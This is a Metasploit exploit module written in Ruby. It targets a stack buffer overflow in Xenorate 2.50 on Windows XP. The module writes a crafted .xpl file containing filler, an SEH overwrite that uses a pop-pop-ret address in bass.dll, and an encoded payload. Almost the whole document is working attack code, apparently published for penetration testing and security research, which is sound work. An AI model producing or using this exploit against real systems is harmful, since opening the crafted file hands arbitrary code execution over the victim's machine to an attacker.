##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Xenorate 2.50 (.xpl) Universal Local Buffer Overflow (SEH)',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Xenorate 2.50
        by creating a specially crafted xpl file.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hack4love <hack4love[at]hotmail.com>',
          'germaya_x',
          'loneferret',
          'jduck'
        ],
      'References'     =>
        [
          [ 'OSVDB', '57162' ],
          [ 'EDB', '10371' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'    => 5100,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'DisableNops'   =>  true,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll v2.3.0.2
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 19 2009',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME',   [ false, 'The file name.',  'msf.xpl']),
        ])

  end

  def exploit

    sploit = rand_text_alpha_upper(88)
    sploit << generate_seh_payload(target.ret)
    sploit << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)

  end
end
